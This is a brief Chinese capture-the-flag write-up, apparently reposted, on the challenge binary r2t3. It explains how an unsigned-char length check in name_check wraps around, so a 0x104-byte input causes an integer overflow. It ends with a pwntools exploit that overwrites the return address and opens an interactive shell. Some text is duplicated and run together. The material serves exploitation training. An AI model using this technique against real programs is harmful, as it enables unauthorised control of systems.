作者:莫梓智 | 来源:互联网 | 2023-09-17 14:00
buf定义长度为0x400。而buf的长度为0x408所以不存在溢出。可见name_check函数存在安全漏洞,但是要绕过长度限制。unsigned__int8v3定
buf定义长度为0x400。而buf的长度为0x408
所以不存在溢出。
可见name_check函数存在安全漏洞,但是要绕过长度限制。unsigned __int8 v3定义的数据类型实际为unsigned char。仅有1个字节,超过1个字节数据丢弃,也就是最大数值为0xff ,也就是0x100=256=0,那么可以用0x104至0x107来满足上面的条件。即为传说中的整形溢出。
from pwn import*p = process('./r2t3')p.recvuntil(' name:\n')payload = 'a'*0x15 + p32(0x0804858B) + 'a'*(0x104 - 0x15 -0x4)p.sendline(payload)p.interactive()